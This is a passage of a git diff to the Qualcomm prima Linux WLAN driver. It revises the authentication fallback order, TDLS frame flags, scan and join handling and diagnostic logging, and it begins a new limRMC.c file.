limProcessMlmAuthCnf(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) cfgAuthType = pMac->lim.gLimPreAuthType; if ((cfgAuthType == eSIR_AUTO_SWITCH) && - (((tLimMlmAuthCnf *) pMsgBuf)->authType == eSIR_OPEN_SYSTEM) - && (eSIR_MAC_AUTH_ALGO_NOT_SUPPORTED_STATUS == ((tLimMlmAuthCnf *) pMsgBuf)->protStatusCode)) + (pMlmAuthCnf->authType == eSIR_SHARED_KEY) + && ((eSIR_MAC_AUTH_ALGO_NOT_SUPPORTED_STATUS == + pMlmAuthCnf->protStatusCode) || + (pMlmAuthCnf->resultCode == eSIR_SME_AUTH_TIMEOUT_RESULT_CODE))) { /** - * When Open authentication fails with reason code "13" and - * authType set to 'auto switch', Try with Shared Authentication + * When Shared authentication fails with reason code "13" and + * authType set to 'auto switch', Try with Open Authentication */ - authMode = eSIR_SHARED_KEY; + authMode = eSIR_OPEN_SYSTEM; // Trigger MAC based Authentication pMlmAuthReq = vos_mem_malloc(sizeof(tLimMlmAuthReq)); if ( NULL == pMlmAuthReq ) @@ -628,8 +636,8 @@ limProcessMlmAuthCnf(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) * Need to send Join response with * auth failure to Host. */ - limHandleSmeJoinResult(pMac, - ((tLimMlmAuthCnf *) pMsgBuf)->resultCode, ((tLimMlmAuthCnf *) pMsgBuf)->protStatusCode,psessionEntry); + limHandleSmeJoinResult(pMac, pMlmAuthCnf->resultCode, + pMlmAuthCnf->protStatusCode, psessionEntry); } else { @@ -640,11 +648,11 @@ limProcessMlmAuthCnf(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) psessionEntry->limSmeState = psessionEntry->limPrevSmeState; MTRACE(macTrace(pMac, TRACE_CODE_SME_STATE, psessionEntry->peSessionId, psessionEntry->limSmeState)); limSendSmeAuthRsp( - pMac, - ((tLimMlmAuthCnf *) pMsgBuf)->resultCode, - ((tLimMlmAuthCnf *) pMsgBuf)->peerMacAddr, - ((tLimMlmAuthCnf *) pMsgBuf)->authType, - ((tLimMlmAuthCnf *) pMsgBuf)->protStatusCode,psessionEntry,psessionEntry->smeSessionId,psessionEntry->transactionId); + pMac, pMlmAuthCnf->resultCode, + pMlmAuthCnf->peerMacAddr, pMlmAuthCnf->authType, + pMlmAuthCnf->protStatusCode, psessionEntry, + psessionEntry->smeSessionId, + psessionEntry->transactionId); } } // end if (cfgAuthType == eAUTO_SWITCH) } // if (((tLimMlmAuthCnf *) pMsgBuf)->resultCode != ... @@ -787,12 +795,11 @@ limProcessMlmAuthCnf(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) */ psessionEntry->limSmeState = psessionEntry->limPrevSmeState; MTRACE(macTrace(pMac, TRACE_CODE_SME_STATE, psessionEntry->peSessionId, psessionEntry->limSmeState)); - limSendSmeAuthRsp( - pMac, - ((tLimMlmAuthCnf *) pMsgBuf)->resultCode, - ((tLimMlmAuthCnf *) pMsgBuf)->peerMacAddr, - ((tLimMlmAuthCnf *) pMsgBuf)->authType, - ((tLimMlmAuthCnf *) pMsgBuf)->protStatusCode,psessionEntry,psessionEntry->smeSessionId,psessionEntry->transactionId); + limSendSmeAuthRsp(pMac, pMlmAuthCnf->resultCode, + pMlmAuthCnf->peerMacAddr, pMlmAuthCnf->authType, + pMlmAuthCnf->protStatusCode, psessionEntry, + psessionEntry->smeSessionId, + psessionEntry->transactionId); } } // end if (((tLimMlmAuthCnf *) pMsgBuf)->resultCode != ... } /*** end limProcessMlmAuthCnf() ***/ @@ -1131,6 +1138,7 @@ limProcessMlmAuthInd(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) // Log error limLog(pMac, LOGP, FL("call to AllocateMemory failed for eWNI_SME_AUTH_IND")); + return; } limCopyU16((tANI_U8 *) &pSirSmeAuthInd->messageType, eWNI_SME_AUTH_IND); limAuthIndSerDes(pMac, (tpLimMlmAuthInd) pMsgBuf, @@ -1206,6 +1214,8 @@ limFillAssocIndParams(tpAniSirGlobal pMac, tpLimMlmAssocInd pAssocInd, limLog(pMac, LOGW, FL("HT40MHzIntoPresent: %d"), pSirSmeAssocInd->HT40MHzIntoEnabledSta); #endif + // Fill in rate flags + pSirSmeAssocInd->rate_flags = pAssocInd->rate_flags; } /*** end limAssocIndSerDes() ***/ @@ -2062,8 +2072,14 @@ void limProcessStaMlmAddStaRsp( tpAniSirGlobal pMac, tpSirMsgQ limMsgQ ,tpPESess { limLog( pMac, LOGE, FL( "ADD_STA failed!")); if(psessionEntry->limSmeState == eLIM_SME_WT_REASSOC_STATE) + { mesgType = LIM_MLM_REASSOC_CNF; - mlmAssocCnf.resultCode = (tSirResultCodes) eSIR_SME_REFUSED; + mlmAssocCnf.resultCode = (tSirResultCodes)eSIR_SME_FT_REASSOC_FAILURE; + } + else + { + mlmAssocCnf.resultCode = (tSirResultCodes) eSIR_SME_REFUSED; + } mlmAssocCnf.protStatusCode = eSIR_MAC_UNSPEC_FAILURE_STATUS; } end: @@ -2810,7 +2826,7 @@ limProcessStaMlmAddBssRspPreAssoc( tpAniSirGlobal pMac, tpSirMsgQ limMsgQ, tpPES FL("could not retrieve AuthType")); } if (cfgAuthType == eSIR_AUTO_SWITCH) - authMode = eSIR_OPEN_SYSTEM; // Try Open Authentication first + authMode = eSIR_SHARED_KEY; // Try Shared Authentication first else authMode = cfgAuthType; @@ -4312,6 +4328,10 @@ void limProcessFinishScanRsp(tpAniSirGlobal pMac, void *body) switch(pMac->lim.gLimHalScanState) { case eLIM_HAL_FINISH_SCAN_WAIT_STATE: +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_SCAN_COMP_EVENT, NULL, + status, eSIR_SUCCESS); +#endif pMac->lim.gLimHalScanState = eLIM_HAL_IDLE_SCAN_STATE; if (pMac->lim.abortScan) pMac->lim.abortScan = 0; @@ -4399,9 +4419,6 @@ void limProcessMlmHalAddBARsp( tpAniSirGlobal pMac, limMsgQ->bodyptr = NULL; return; } -#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT - limDiagEventReport(pMac, WLAN_PE_DIAG_HAL_ADDBA_RSP_EVENT, psessionEntry, 0, 0); -#endif //FEATURE_WLAN_DIAG_SUPPORT // Allocate for LIM_MLM_ADDBA_CNF pMlmAddBACnf = vos_mem_malloc(sizeof(tLimMlmAddBACnf)); @@ -4427,6 +4444,12 @@ void limProcessMlmHalAddBARsp( tpAniSirGlobal pMac, pMlmAddBACnf->addBAResultCode = eSIR_MAC_SUCCESS_STATUS; else pMlmAddBACnf->addBAResultCode = eSIR_MAC_UNSPEC_FAILURE_STATUS; + +#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_HAL_ADDBA_RSP_EVENT, psessionEntry, + pAddBAParams->status, pMlmAddBACnf->addBAResultCode); +#endif //FEATURE_WLAN_DIAG_SUPPORT + vos_mem_free(limMsgQ->bodyptr); limMsgQ->bodyptr = NULL; // Send ADDBA CNF to LIM @@ -4797,9 +4820,11 @@ limHandleDelBssInReAssocContext(tpAniSirGlobal pMac, tpDphHashNode pStaDs,tpPESe limUpdateAssocStaDatas(pMac, pStaDs, assocRsp,psessionEntry); limUpdateReAssocGlobals(pMac, assocRsp,psessionEntry); limExtractApCapabilities( pMac, - (tANI_U8 *) psessionEntry->pLimReAssocReq->bssDescription.ieFields, - limGetIElenFromBssDescription( &psessionEntry->pLimReAssocReq->bssDescription ), - pBeaconStruct ); + (tANI_U8 *) + psessionEntry->pLimReAssocReq->bssDescription.ieFields, + GET_IE_LEN_IN_BSS( + psessionEntry->pLimReAssocReq->bssDescription.length), + pBeaconStruct); if(pMac->lim.gLimProtectionControl != WNI_CFG_FORCE_POLICY_PROTECTION_DISABLE) limDecideStaProtectionOnAssoc(pMac, pBeaconStruct, psessionEntry); if(pBeaconStruct->erpPresent) { @@ -4973,10 +4998,12 @@ limHandleAddBssInReAssocContext(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpPES assocRsp = (tpSirAssocRsp)psessionEntry->limAssocResponseData; limUpdateAssocStaDatas(pMac, pStaDs, assocRsp, psessionEntry); limUpdateReAssocGlobals(pMac, assocRsp, psessionEntry); - limExtractApCapabilities( pMac, - (tANI_U8 *) psessionEntry->pLimReAssocReq->bssDescription.ieFields, - limGetIElenFromBssDescription( &psessionEntry->pLimReAssocReq->bssDescription ), - pBeaconStruct ); + limExtractApCapabilities(pMac, + (tANI_U8 *) + psessionEntry->pLimReAssocReq->bssDescription.ieFields, + GET_IE_LEN_IN_BSS( + psessionEntry->pLimReAssocReq->bssDescription.length), + pBeaconStruct); if(pMac->lim.gLimProtectionControl != WNI_CFG_FORCE_POLICY_PROTECTION_DISABLE) limDecideStaProtectionOnAssoc(pMac, pBeaconStruct, psessionEntry); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessSmeReqMessages.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessSmeReqMessages.c index aa98b100d17cf..72840abcec440 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessSmeReqMessages.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessSmeReqMessages.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -59,6 +59,10 @@ #include "limApi.h" #include "wmmApsd.h" +#ifdef WLAN_FEATURE_RMC +#include "limRMC.h" +#endif + #include "sapApi.h" #if defined WLAN_FEATURE_VOWIFI @@ -150,6 +154,8 @@ __limFreshScanReqd(tpAniSirGlobal pMac, tANI_U8 returnFreshResults) if(pMac->lim.gLimSmeState != eLIM_SME_IDLE_STATE) { + limLog(pMac, LOG1, FL("setting fresh scan as false. sme state is %d"), + pMac->lim.gLimSmeState); return FALSE; } for(i =0; i < pMac->lim.maxBssId; i++) @@ -172,6 +178,11 @@ __limFreshScanReqd(tpAniSirGlobal pMac, tANI_U8 returnFreshResults) )) { validState = FALSE; + limLog(pMac, LOG1, FL("setting fresh scan as false." + "bssType is %d system role is %d, smestate is %d"), + pMac->lim.gpSession[i].bssType, + pMac->lim.gpSession[i].limSystemRole, + pMac->lim.gpSession[i].limSmeState); break; } @@ -1216,7 +1227,7 @@ __limProcessSmeScanReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) tpSirSmeScanReq pScanReq; tANI_U8 i = 0; -#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT +#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT limDiagEventReport(pMac, WLAN_PE_DIAG_SCAN_REQ_EVENT, NULL, 0, 0); #endif //FEATURE_WLAN_DIAG_SUPPORT @@ -1521,8 +1532,10 @@ __limProcessSmeScanReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) pMlmScanReq->maxChannelTime = pScanReq->maxChannelTime; } - pMlmScanReq->minChannelTimeBtc = pScanReq->minChannelTimeBtc; - pMlmScanReq->maxChannelTimeBtc = pScanReq->maxChannelTimeBtc; + pMlmScanReq->min_chntime_btc_esco = + pScanReq->min_chntime_btc_esco; + pMlmScanReq->max_chntime_btc_esco = + pScanReq->max_chntime_btc_esco; pMlmScanReq->dot11mode = pScanReq->dot11mode; pMlmScanReq->p2pSearch = pScanReq->p2pSearch; @@ -1697,8 +1710,8 @@ __limProcessSmeJoinReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) tANI_U16 nSize; tANI_U8 sessionId; tpPESession psessionEntry = NULL; - tANI_U8 smesessionId; - tANI_U16 smetransactionId; + tANI_U8 smesessionId = 0; + tANI_U16 smetransactionId = 0; tPowerdBm localPowerConstraint = 0, regMax = 0; tANI_U16 ieLen; v_U8_t *vendorIE; @@ -1847,11 +1860,10 @@ __limProcessSmeJoinReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) psessionEntry->limWmeEnabled = pSmeJoinReq->isWMEenabled; psessionEntry->limQosEnabled = pSmeJoinReq->isQosEnabled; psessionEntry->bOSENAssociation = pSmeJoinReq->bOSENAssociation; + psessionEntry->bWPSAssociation = pSmeJoinReq->bWPSAssociation; /* Store vendor specfic IE for CISCO AP */ - ieLen = (pSmeJoinReq->bssDescription.length + - sizeof( pSmeJoinReq->bssDescription.length ) - - GET_FIELD_OFFSET( tSirBssDescription, ieFields )); + ieLen = GET_IE_LEN_IN_BSS(pSmeJoinReq->bssDescription.length); vendorIE = limGetVendorIEOuiPtr(pMac, SIR_MAC_CISCO_OUI, SIR_MAC_CISCO_OUI_SIZE, @@ -1884,16 +1896,16 @@ __limProcessSmeJoinReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) "***__limProcessSmeJoinReq: txBFIniFeatureEnabled=%d****", psessionEntry->txBFIniFeatureEnabled); + if (cfgSetInt(pMac, WNI_CFG_VHT_SU_BEAMFORMEE_CAP, + psessionEntry->txBFIniFeatureEnabled) != eSIR_SUCCESS) + { + limLog(pMac, LOGP, FL("could not set " + "WNI_CFG_VHT_SU_BEAMFORMEE_CAP at CFG")); + retCode = eSIR_LOGP_EXCEPTION; + goto end; + } if( psessionEntry->txBFIniFeatureEnabled ) { - if (cfgSetInt(pMac, WNI_CFG_VHT_SU_BEAMFORMEE_CAP, psessionEntry->txBFIniFeatureEnabled) - != eSIR_SUCCESS) - { - limLog(pMac, LOGP, FL("could not set " - "WNI_CFG_VHT_SU_BEAMFORMEE_CAP at CFG")); - retCode = eSIR_LOGP_EXCEPTION; - goto end; - } VOS_TRACE(VOS_MODULE_ID_PE, VOS_TRACE_LEVEL_INFO_MED, "***__limProcessSmeJoinReq: txBFCsnValue=%d****", pSmeJoinReq->txBFCsnValue); @@ -2018,7 +2030,8 @@ __limProcessSmeJoinReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) { limLog(pMac, LOGP, FL("call to AllocateMemory " "failed for mlmJoinReq")); - return; + retCode = eSIR_SME_RESOURCES_UNAVAILABLE; + goto end; } (void) vos_mem_set((void *) pMlmJoinReq, val, 0); @@ -2055,15 +2068,14 @@ __limProcessSmeJoinReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) regMax = cfgGetRegulatoryMaxTransmitPower( pMac, psessionEntry->currentOperChannel ); localPowerConstraint = regMax; - limExtractApCapability( pMac, - (tANI_U8 *) psessionEntry->pLimJoinReq->bssDescription.ieFields, - limGetIElenFromBssDescription(&psessionEntry->pLimJoinReq->bssDescription), - &psessionEntry->limCurrentBssQosCaps, - &psessionEntry->limCurrentBssPropCap, - &pMac->lim.gLimCurrentBssUapsd //TBD-RAJESH make gLimCurrentBssUapsd this session specific - , &localPowerConstraint, - psessionEntry - ); + limExtractApCapability(pMac, + (tANI_U8 *) psessionEntry->pLimJoinReq->bssDescription.ieFields, + GET_IE_LEN_IN_BSS(psessionEntry->pLimJoinReq->bssDescription.length), + &psessionEntry->limCurrentBssQosCaps, + &psessionEntry->limCurrentBssPropCap, + &pMac->lim.gLimCurrentBssUapsd, + &localPowerConstraint, + psessionEntry); #ifdef FEATURE_WLAN_ESE psessionEntry->maxTxPower = limGetMaxTxPower(regMax, localPowerConstraint, pMac->roam.configParam.nTxPowerCap); @@ -2268,8 +2280,9 @@ __limProcessSmeReassocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) goto end; } -#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT - limDiagEventReport(pMac, WLAN_PE_DIAG_REASSOC_REQ_EVENT, psessionEntry, 0, 0); +#ifdef FEATURE_WLAN_DIAG_SUPPORT_LIM //FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_REASSOC_REQ_EVENT, psessionEntry, + eSIR_SUCCESS, eSIR_SUCCESS); #endif //FEATURE_WLAN_DIAG_SUPPORT //pMac->lim.gpLimReassocReq = pReassocReq;//TO SUPPORT BT-AMP @@ -2336,16 +2349,15 @@ __limProcessSmeReassocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) psessionEntry->pLimReAssocReq->bssDescription.capabilityInfo; regMax = cfgGetRegulatoryMaxTransmitPower( pMac, psessionEntry->currentOperChannel ); localPowerConstraint = regMax; - limExtractApCapability( pMac, - (tANI_U8 *) psessionEntry->pLimReAssocReq->bssDescription.ieFields, - limGetIElenFromBssDescription( - &psessionEntry->pLimReAssocReq->bssDescription), - &psessionEntry->limReassocBssQosCaps, - &psessionEntry->limReassocBssPropCap, - &pMac->lim.gLimCurrentBssUapsd //TBD-RAJESH make gLimReassocBssUapsd session specific - , &localPowerConstraint, - psessionEntry - ); + limExtractApCapability(pMac, + (tANI_U8 *) psessionEntry->pLimReAssocReq->bssDescription.ieFields, + GET_IE_LEN_IN_BSS( + psessionEntry->pLimReAssocReq->bssDescription.length), + &psessionEntry->limReassocBssQosCaps, + &psessionEntry->limReassocBssPropCap, + &pMac->lim.gLimCurrentBssUapsd, + &localPowerConstraint, + psessionEntry); psessionEntry->maxTxPower = VOS_MIN( regMax, (localPowerConstraint) ); if (!psessionEntry->maxTxPower) @@ -2425,6 +2437,12 @@ __limProcessSmeReassocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) limLog(pMac, LOGP, FL("could not retrieve Capabilities value")); } + + lim_update_caps_info_for_bss(pMac, &caps, + pReassocReq->bssDescription.capabilityInfo); + + limLog(pMac, LOG1, FL("Capabilities info Reassoc: 0x%X"), caps); + pMlmReassocReq->capabilityInfo = caps; /* Update PE sessionId*/ @@ -2702,15 +2720,8 @@ __limProcessSmeDisassocReq(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) goto sendDisassoc; } // end switch (pMac->lim.gLimSystemRole) - if (smeDisassocReq.reasonCode == eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON) - { - /// Disassociation is triggered by Link Monitoring - limLog(pMac, LOG1, FL("Sending Disasscoc with reason Link Monitoring")); - disassocTrigger = eLIM_LINK_MONITORING_DISASSOC; - } - else - disassocTrigger = eLIM_HOST_DISASSOC; - reasonCode = smeDisassocReq.reasonCode; + disassocTrigger = eLIM_HOST_DISASSOC; + reasonCode = smeDisassocReq.reasonCode; if (smeDisassocReq.doNotSendOverTheAir) { @@ -2856,6 +2867,14 @@ __limProcessSmeDisassocCnf(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) MAC_ADDR_ARRAY(smeDisassocCnf.peerMacAddr));) return; } + + if(aid != smeDisassocCnf.assocId) + { + PELOGE(limLog(pMac, LOGE, FL("same peerMacAddr but assocId is different " + "aid=%d, assocId=%d, addr= "MAC_ADDRESS_STR), + aid, smeDisassocCnf.assocId, MAC_ADDR_ARRAY(smeDisassocCnf.peerMacAddr));) + return; + } /* * If MlM state is either of del_sta or del_bss state, then no need to * go ahead and clean up further as there must be some cleanup in @@ -3488,7 +3507,7 @@ void limProcessSmeGetScanChannelInfo(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) void limProcessSmeGetAssocSTAsInfo(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) { - tSirSmeGetAssocSTAsReq getAssocSTAsReq; + tSirSmeGetAssocSTAsReq getAssocSTAsReq = {0}; tpDphHashNode pStaDs = NULL; tpPESession psessionEntry = NULL; tSap_Event sapEvent; @@ -4923,6 +4942,7 @@ void __limProcessReportMessage(tpAniSirGlobal pMac, tpSirMsgQ pMsg) tpSirBeaconReportXmitInd pBcnReport=NULL; tpPESession psessionEntry=NULL; tANI_U8 sessionId; + tpEsePEContext pEseContext = NULL; if(pMsg->bodyptr == NULL) { @@ -4935,7 +4955,10 @@ void __limProcessReportMessage(tpAniSirGlobal pMac, tpSirMsgQ pMsg) limLog(pMac, LOGE, "Session Does not exist for given bssId"); return; } - if (psessionEntry->isESEconnection) + + pEseContext = &psessionEntry->eseContext; + + if (psessionEntry->isESEconnection && pEseContext->curMeasReq.isValid) eseProcessBeaconReportXmit( pMac, pMsg->bodyptr); else #endif @@ -5833,6 +5856,16 @@ limProcessSmeReqMessages(tpAniSirGlobal pMac, tpSirMsgQ pMsg) limSendSetTxPowerReq(pMac, pMsgBuf); break ; +#ifdef WLAN_FEATURE_RMC + case eWNI_SME_ENABLE_RMC_REQ: + limProcessRMCMessages(pMac, eLIM_RMC_ENABLE_REQ, pMsgBuf); + break ; + + case eWNI_SME_DISABLE_RMC_REQ: + limProcessRMCMessages(pMac, eLIM_RMC_DISABLE_REQ, pMsgBuf); + break ; +#endif /* WLAN_FEATURE_RMC */ + case eWNI_SME_MAC_SPOOF_ADDR_IND: __limProcessSmeSpoofMacAddrRequest(pMac, pMsgBuf); break ; diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessTdls.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessTdls.c index 7630e5a3440de..0fd0050f7ad8b 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessTdls.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessTdls.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -738,7 +738,8 @@ tSirRetStatus limSendTdlsDisReqFrame(tpAniSirGlobal pMac, tSirMacAddr peer_mac, TID_AC_VI, limTxComplete, pFrame, limMgmtTXComplete, - HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME, + HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME | + HAL_USE_PEER_STA_REQUESTED_MASK, pMac->lim.txBdToken++); if ( ! HAL_STATUS_SUCCESS ( halstatus ) ) { @@ -1329,7 +1330,8 @@ tSirRetStatus limSendTdlsLinkSetupReqFrame(tpAniSirGlobal pMac, TID_AC_VI, limTxComplete, pFrame, limMgmtTXComplete, - HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME, + HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME | + HAL_USE_PEER_STA_REQUESTED_MASK, pMac->lim.txBdToken++); if ( ! HAL_STATUS_SUCCESS ( halstatus ) ) @@ -1538,7 +1540,8 @@ tSirRetStatus limSendTdlsTeardownFrame(tpAniSirGlobal pMac, TID_AC_VI, limTxComplete, pFrame, limMgmtTXComplete, - HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME, + HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME | + HAL_USE_PEER_STA_REQUESTED_MASK, pMac->lim.txBdToken++); if ( ! HAL_STATUS_SUCCESS ( halstatus ) ) { @@ -1801,7 +1804,8 @@ static tSirRetStatus limSendTdlsSetupRspFrame(tpAniSirGlobal pMac, TID_AC_VI, limTxComplete, pFrame, limMgmtTXComplete, - HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME, + HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME | + HAL_USE_PEER_STA_REQUESTED_MASK, pMac->lim.txBdToken++); if ( ! HAL_STATUS_SUCCESS ( halstatus ) ) { @@ -2050,7 +2054,8 @@ tSirRetStatus limSendTdlsLinkSetupCnfFrame(tpAniSirGlobal pMac, tSirMacAddr peer TID_AC_VI, limTxComplete, pFrame, limMgmtTXComplete, - HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME, + HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME | + HAL_USE_PEER_STA_REQUESTED_MASK, pMac->lim.txBdToken++); @@ -2914,13 +2919,18 @@ void PopulateDot11fLinkIden(tpAniSirGlobal pMac, tpPESession psessionEntry, void PopulateDot11fTdlsExtCapability(tpAniSirGlobal pMac, tDot11fIEExtCap *extCapability) { - extCapability->TDLSPeerPSMSupp = PEER_PSM_SUPPORT ; - extCapability->TDLSPeerUAPSDBufferSTA = pMac->lim.gLimTDLSBufStaEnabled; - extCapability->TDLSChannelSwitching = pMac->lim.gLimTDLSOffChannelEnabled ; - extCapability->TDLSSupport = TDLS_SUPPORT ; - extCapability->TDLSProhibited = TDLS_PROHIBITED ; - extCapability->TDLSChanSwitProhibited = TDLS_CH_SWITCH_PROHIBITED ; - extCapability->present = 1 ; + struct s_ext_cap *p_ext_cap = (struct s_ext_cap *)extCapability->bytes; + + p_ext_cap->TDLSPeerPSMSupp = PEER_PSM_SUPPORT ; + p_ext_cap->TDLSPeerUAPSDBufferSTA = pMac->lim.gLimTDLSBufStaEnabled; + p_ext_cap->TDLSChannelSwitching = pMac->lim.gLimTDLSOffChannelEnabled ; + p_ext_cap->TDLSSupport = TDLS_SUPPORT ; + p_ext_cap->TDLSProhibited = TDLS_PROHIBITED ; + p_ext_cap->TDLSChanSwitProhibited = TDLS_CH_SWITCH_PROHIBITED ; + + extCapability->present = 1; + extCapability->num_bytes = lim_compute_ext_cap_ie_length(extCapability); + return ; } @@ -2968,6 +2978,9 @@ tSirRetStatus limProcessSmeTdlsMgmtSendReq(tpAniSirGlobal pMac, psessionEntry->limSmeState); goto lim_tdls_send_mgmt_error; } + vos_tdls_tx_rx_mgmt_event(SIR_MAC_ACTION_TDLS, + SIR_MAC_ACTION_TX, SIR_MAC_MGMT_ACTION, + pSendMgmtReq->reqType, pSendMgmtReq->peerMac); switch( pSendMgmtReq->reqType ) { @@ -3069,12 +3082,18 @@ void limSendSmeTdlsLinkEstablishReqRsp(tpAniSirGlobal pMac, limLog(pMac, LOGE, FL("Failed to allocate memory")); return ; } + + vos_mem_zero(pTdlsLinkEstablishReqRsp, sizeof(tSirTdlsLinkEstablishReqRsp)); + pTdlsLinkEstablishReqRsp->statusCode = status ; - if ( peerMac ) + if (pStaDs && peerMac) { vos_mem_copy(pTdlsLinkEstablishReqRsp->peerMac, peerMac, sizeof(tSirMacAddr)); + pTdlsLinkEstablishReqRsp->sta_idx = pStaDs->staIndex; } + pTdlsLinkEstablishReqRsp->sessionId = sessionId; + mmhMsg.type = eWNI_SME_TDLS_LINK_ESTABLISH_RSP ; mmhMsg.bodyptr = pTdlsLinkEstablishReqRsp; mmhMsg.bodyval = 0; @@ -3101,12 +3120,18 @@ void limSendSmeTdlsChanSwitchReqRsp(tpAniSirGlobal pMac, PELOGE(limLog(pMac, LOGE, FL("Failed to allocate memory"));) return ; } + + vos_mem_zero(pTdlsChanSwitchReqRsp, sizeof(tSirTdlsChanSwitchReqRsp)); + pTdlsChanSwitchReqRsp->statusCode = status ; - if ( peerMac ) + if (pStaDs && peerMac ) { vos_mem_copy(pTdlsChanSwitchReqRsp->peerMac, peerMac, sizeof(tSirMacAddr)); + pTdlsChanSwitchReqRsp->sta_idx = pStaDs->staIndex;; } + pTdlsChanSwitchReqRsp->sessionId = sessionId; + mmhMsg.type = eWNI_SME_TDLS_CHANNEL_SWITCH_RSP ; mmhMsg.bodyptr = pTdlsChanSwitchReqRsp; mmhMsg.bodyval = 0; @@ -3774,7 +3799,7 @@ tSirRetStatus limProcesSmeTdlsChanSwitchReq(tpAniSirGlobal pMac, return eSIR_MEM_ALLOC_FAILED; } - vos_mem_set( (tANI_U8 *)pMsgTdlsChanSwitch, sizeof(tpTdlsChanSwitchParams), 0); + vos_mem_set( (tANI_U8 *)pMsgTdlsChanSwitch, sizeof(*pMsgTdlsChanSwitch), 0); /* if channel bw offset is not set, send maximum supported offset in the band */ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limPropExtsUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limPropExtsUtils.c index 1345a1158e40a..f4f668a916a96 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limPropExtsUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limPropExtsUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -196,10 +196,10 @@ limExtractApCapability(tpAniSirGlobal pMac, tANI_U8 *pIE, tANI_U16 ieLen, { psessionEntry->countryInfoPresent = TRUE; } - /* Check if Extended caps are present in probe resp or not */ + /* Save the Extended caps from AP in probe resp or beacon */ if (pBeaconStruct->ExtCap.present) { - psessionEntry->is_ext_caps_present = TRUE; + vos_mem_copy(&psessionEntry->ExtCap, &pBeaconStruct->ExtCap, sizeof(tDot11fIEExtCap)); } } diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.c new file mode 100644 index 0000000000000..86b302e2a0f7b --- /dev/null +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.c @@ -0,0 +1,1382 @@ +/* + * Copyright (c) 2013-2016 The Linux Foundation. All rights reserved. + * + * Previously licensed under the ISC license by Qualcomm Atheros, Inc. + * + * + * Permission to use, copy, modify, and/or distribute this software for + * any purpose with or without fee is hereby granted, provided that the + * above copyright notice and this permission notice appear in all + * copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL + * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE + * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF 